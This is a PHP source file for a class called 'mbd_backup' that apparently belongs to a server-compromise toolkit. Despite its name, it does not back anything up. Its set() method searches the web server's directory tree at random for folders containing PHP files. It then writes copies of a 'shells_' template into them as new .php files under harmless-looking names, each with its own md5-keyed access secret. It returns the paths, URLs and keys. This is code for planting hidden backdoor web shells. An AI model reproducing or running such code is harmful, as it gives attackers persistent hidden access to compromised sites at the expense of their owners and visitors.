<?php
class mbd_backup extends mbd_core {
function __construct($core)
{
$this->core = $core;
if(isset($this->core->data->options)) $this->_o = $this->core->data->options;
}
function set($root=FALSE)
{
$dirs = $this->dirs(($root?$root:$this->core->root), count($this->_o->names));
if(!count($dirs))
{
if(!$root && isset($this->core->server['DOMAIN_PATH'])) return $this->set($this->core->server['DOMAIN_PATH']);
$this->core->out('dirs not found');
}
$file = $this->core->load('shells_'.$this->_o->file, TRUE);
$data = array();
foreach($dirs AS $d)
{
$f = array_shift($this->_o->names);
$n = preg_replace('/[^a-z]/', '_', $f);
$f = $d.'/'.$f.'.php';
if(is_file($f)) continue;
$k = $this->rand();
$g = str_replace('{KEY}', md5($k), $file);
$g = str_replace('REP__FILE', $n, $g);
if(!$this->file_put($f, $g)) continue;
$data[] = array($f, $this->core->link($f, $root), $k);
}
if(!count($data)) $this->core->out('nothing set');
$this->core->data->result = $data;
}
function dirs($dir, $limit, $search=0)
{
$data = array();
$dir = realpath($dir);
$adddir = $dir=='/' ? '' : $dir;
$list = $this->scan_dir($dir);
shuffle($list);
foreach($list AS $v)
{
if($v=='.'||$v=='..')continue;
$f = $adddir.'/'.$v;
if(is_dir($f))
{
if($search<2 || rand(1,2)==2)
{
$d = $this->dirs($f, 0, $search+1);
if(count($d)) $data = array_merge($data, $d);
}
continue;
}
if(!$search) continue;
if(!in_array($dir, $data) && preg_match('/\.php$/', $v))
{
$data[] = $dir;
continue;
}
}
if(!$search && count($data)>$limit)
{
shuffle($data);
return array_slice($data, 0, $limit);
}
return $data;
}
}